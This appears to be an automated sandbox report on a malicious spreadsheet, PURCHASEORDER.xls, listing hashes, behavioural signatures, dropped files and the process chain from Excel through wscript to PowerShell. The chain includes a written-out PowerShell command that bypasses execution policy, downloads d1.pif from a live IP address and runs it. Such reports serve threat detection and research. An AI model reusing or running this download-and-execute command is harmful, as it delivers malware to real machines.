Analysis
-
max time kernel
101s -
max time network
126s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
24-03-2023 06:36
Behavioral task
behavioral1
Sample
PURCHASEORDER.xls
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
PURCHASEORDER.xls
Resource
win10v2004-20230220-en
General
-
Target
PURCHASEORDER.xls
-
Size
1.5MB
-
MD5
7128d7e3632afbc109085c91fd0404c1
-
SHA1
4b16b615630468c252d3f642995a4d5d9c252e6b
-
SHA256
33497120ede69ba4d6c9c7bb4533ec7ece887acfa9ed2d617a215ff81126b46e
-
SHA512
5eccb89ed4479f7040ddf1582bbdb569c0f571337892e34fb0ff3151dee663f255e252f9886288b7ee31366df70d52f5a6c9f9163cda7db3fff1a2a4e275446a
-
SSDEEP
24576:X2Tbq8KPsUGRoG1t6EWOEMhpaMNzl8raUtGCn113y4RzuCr2izm/EcUAbFNLGeuX:mv5K/G3v6EWxNMNzlMRtGCn113y4RaCw
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
wscript.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4424 1208 wscript.exe EXCEL.EXE -
Blocklisted process makes network request 2 IoCs
Processes:
wscript.exepowershell.exeflow pid process 49 4424 wscript.exe 52 2996 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
Processes:
d1.pifpid process 1296 d1.pif -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1580 1296 WerFault.exe d1.pif -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1208 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 15 IoCs
Processes:
EXCEL.EXEpowershell.exed1.pifpid process 1208 EXCEL.EXE 2996 powershell.exe 2996 powershell.exe 1296 d1.pif 1296 d1.pif 1296 d1.pif 1296 d1.pif 1296 d1.pif 1296 d1.pif 1296 d1.pif 1296 d1.pif 1296 d1.pif 1296 d1.pif 1296 d1.pif 1296 d1.pif -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
EXCEL.EXEpowershell.exed1.pifdescription pid process Token: SeDebugPrivilege 1208 EXCEL.EXE Token: SeDebugPrivilege 2996 powershell.exe Token: SeDebugPrivilege 1296 d1.pif -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 1208 EXCEL.EXE 1208 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 1208 EXCEL.EXE 1208 EXCEL.EXE 1208 EXCEL.EXE 1208 EXCEL.EXE 1208 EXCEL.EXE 1208 EXCEL.EXE 1208 EXCEL.EXE 1208 EXCEL.EXE 1208 EXCEL.EXE 1208 EXCEL.EXE 1208 EXCEL.EXE 1208 EXCEL.EXE -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
EXCEL.EXEwscript.exepowershell.exedescription pid process target process PID 1208 wrote to memory of 4424 1208 EXCEL.EXE wscript.exe PID 1208 wrote to memory of 4424 1208 EXCEL.EXE wscript.exe PID 4424 wrote to memory of 2996 4424 wscript.exe powershell.exe PID 4424 wrote to memory of 2996 4424 wscript.exe powershell.exe PID 2996 wrote to memory of 1296 2996 powershell.exe d1.pif PID 2996 wrote to memory of 1296 2996 powershell.exe d1.pif PID 2996 wrote to memory of 1296 2996 powershell.exe d1.pif
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PURCHASEORDER.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\wscript.exewscript C:\Users\Public\textfile.wsf2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "& { Invoke-WebRequest -Uri 'http://37.139.128.83/damian/d1.pif' -OutFile 'C:\Users\Public\d1.pif'; C:\Users\Public\d1.pif }"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\d1.pif"C:\Users\Public\d1.pif"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1296 -s 16405⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1296 -ip 12961⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\PowerQuery\temp.User.zipFilesize
768B
MD59ed95e7158b95d2c5b3895818f6e58d5
SHA1dc0738c580c52e69d736446dfca65be6034ac560
SHA256034fcdc52dcebd1b859575f61c6749fb2903753ac4ed79c5a52f3848aa9aa142
SHA5129061dfbe5048ce8a5583a54a7aa3c879c3eaf9ffe1a786c619d7b48ce859b6551f2bdbf96bc40309323f0cecbd287026ecfd6a3f6b2ab1468275a13dff8e7f8f
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kluv21cd.m4c.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Public\d1.pifFilesize
776KB
MD50858268f3b83634a182ae13cce53ad86
SHA11f83852f6dbdc3d5742e63d27b56ad1c5b591bd0
SHA25602ee87012effdfa84c909b301c1c997f5ed0489c72f5cc3aa90acb9271ca9283
SHA512816fbf91f2e1e5f9da468796471f6d6812ba68f197a787e7c65914e2ed4b15be0af21edf36cfcb82046853e95a5402ace03bb1cadcaf140f1e5a99db673f9666
-
C:\Users\Public\d1.pifFilesize
776KB
MD50858268f3b83634a182ae13cce53ad86
SHA11f83852f6dbdc3d5742e63d27b56ad1c5b591bd0
SHA25602ee87012effdfa84c909b301c1c997f5ed0489c72f5cc3aa90acb9271ca9283
SHA512816fbf91f2e1e5f9da468796471f6d6812ba68f197a787e7c65914e2ed4b15be0af21edf36cfcb82046853e95a5402ace03bb1cadcaf140f1e5a99db673f9666
-
C:\Users\Public\textfile.wsfFilesize
87B
MD5135c416416e09629ff96af3280a09d0b
SHA15d34179a391761f4f367613d80655724fe7dcfd0
SHA256b0c5540018eeac894b1bdd73fe4cee778c00ad10c18d42940ab4764ec9482954
SHA512af13b7889ac42c9fd665900bcda4a21e08149d0baa95812532cfb3e1407c21b164c070b891fac8fe226ddba5b1084814a90542d810138cc5e4e29165c4c6731e
-
memory/1208-167-0x000001D647F20000-0x000001D647F7A000-memory.dmpFilesize
360KB
-
memory/1208-247-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmpFilesize
64KB
-
memory/1208-136-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmpFilesize
64KB
-
memory/1208-137-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmpFilesize
64KB
-
memory/1208-138-0x00007FFB939F0000-0x00007FFB93A00000-memory.dmpFilesize
64KB
-
memory/1208-139-0x00007FFB939F0000-0x00007FFB93A00000-memory.dmpFilesize
64KB
-
memory/1208-143-0x000001D647D10000-0x000001D647EB2000-memory.dmpFilesize
1.6MB
-
memory/1208-144-0x000001D647D00000-0x000001D647D10000-memory.dmpFilesize
64KB
-
memory/1208-145-0x000001D64A920000-0x000001D64D380000-memory.dmpFilesize
42.4MB
-
memory/1208-146-0x000001D648160000-0x000001D6483F4000-memory.dmpFilesize
2.6MB
-
memory/1208-147-0x000001D647B10000-0x000001D647B6C000-memory.dmpFilesize
368KB
-
memory/1208-150-0x000001D648400000-0x000001D6485C2000-memory.dmpFilesize
1.8MB
-
memory/1208-151-0x000001D62F9A0000-0x000001D62F9C2000-memory.dmpFilesize
136KB
-
memory/1208-154-0x000001D649360000-0x000001D64A0F0000-memory.dmpFilesize
13.6MB
-
memory/1208-155-0x000001D62F980000-0x000001D62F990000-memory.dmpFilesize
64KB
-
memory/1208-156-0x000001D647BC0000-0x000001D647BCA000-memory.dmpFilesize
40KB
-
memory/1208-157-0x000001D647BD0000-0x000001D647BF2000-memory.dmpFilesize
136KB
-
memory/1208-158-0x000001D647D00000-0x000001D647D10000-memory.dmpFilesize
64KB
-
memory/1208-159-0x000001D6516A0000-0x000001D6559B6000-memory.dmpFilesize
67.1MB
-
memory/1208-163-0x000001D647C00000-0x000001D647C28000-memory.dmpFilesize
160KB
-
memory/1208-164-0x000001D647C30000-0x000001D647C80000-memory.dmpFilesize
320KB
-
memory/1208-165-0x000001D647B80000-0x000001D647B90000-memory.dmpFilesize
64KB
-
memory/1208-166-0x000001D647C80000-0x000001D647C98000-memory.dmpFilesize
96KB
-
memory/1208-134-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmpFilesize
64KB
-
memory/1208-170-0x000001D647D00000-0x000001D647D10000-memory.dmpFilesize
64KB
-
memory/1208-169-0x000001D647D00000-0x000001D647D10000-memory.dmpFilesize
64KB
-
memory/1208-168-0x000001D647D00000-0x000001D647D10000-memory.dmpFilesize
64KB
-
memory/1208-172-0x000001D647D00000-0x000001D647D10000-memory.dmpFilesize
64KB
-
memory/1208-135-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmpFilesize
64KB
-
memory/1208-185-0x000001D62E1D0000-0x000001D62E3D0000-memory.dmpFilesize
2.0MB
-
memory/1208-200-0x000001D647D00000-0x000001D647D10000-memory.dmpFilesize
64KB
-
memory/1208-249-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmpFilesize
64KB
-
memory/1208-248-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmpFilesize
64KB
-
memory/1208-173-0x000001D647D00000-0x000001D647D10000-memory.dmpFilesize
64KB
-
memory/1208-246-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmpFilesize
64KB
-
memory/1208-133-0x00007FFB95E70000-0x00007FFB95E80000-memory.dmpFilesize
64KB
-
memory/1208-216-0x000001D647D00000-0x000001D647D10000-memory.dmpFilesize
64KB
-
memory/1208-215-0x000001D647D00000-0x000001D647D10000-memory.dmpFilesize
64KB
-
memory/1208-217-0x000001D647D00000-0x000001D647D10000-memory.dmpFilesize
64KB
-
memory/1208-218-0x000001D647D00000-0x000001D647D10000-memory.dmpFilesize
64KB
-
memory/1208-219-0x000001D62E1D0000-0x000001D62E3D0000-memory.dmpFilesize
2.0MB
-
memory/1208-227-0x000001D62B9A0000-0x000001D62BA9C000-memory.dmpFilesize
1008KB
-
memory/1208-226-0x000001D64D8B0000-0x000001D64DDD8000-memory.dmpFilesize
5.2MB
-
memory/1296-224-0x0000000008500000-0x000000000859C000-memory.dmpFilesize
624KB
-
memory/1296-222-0x00000000054C0000-0x00000000054D0000-memory.dmpFilesize
64KB
-
memory/1296-214-0x00000000054C0000-0x00000000054D0000-memory.dmpFilesize
64KB
-
memory/1296-213-0x00000000052F0000-0x00000000052FA000-memory.dmpFilesize
40KB
-
memory/1296-212-0x0000000005320000-0x00000000053B2000-memory.dmpFilesize
584KB
-
memory/1296-211-0x0000000005830000-0x0000000005DD4000-memory.dmpFilesize
5.6MB
-
memory/1296-210-0x0000000000860000-0x0000000000928000-memory.dmpFilesize
800KB
-
memory/2996-190-0x0000017472AA0000-0x0000017472AC2000-memory.dmpFilesize
136KB
-
memory/2996-201-0x0000017472460000-0x0000017472470000-memory.dmpFilesize
64KB
-
memory/2996-202-0x0000017472460000-0x0000017472470000-memory.dmpFilesize
64KB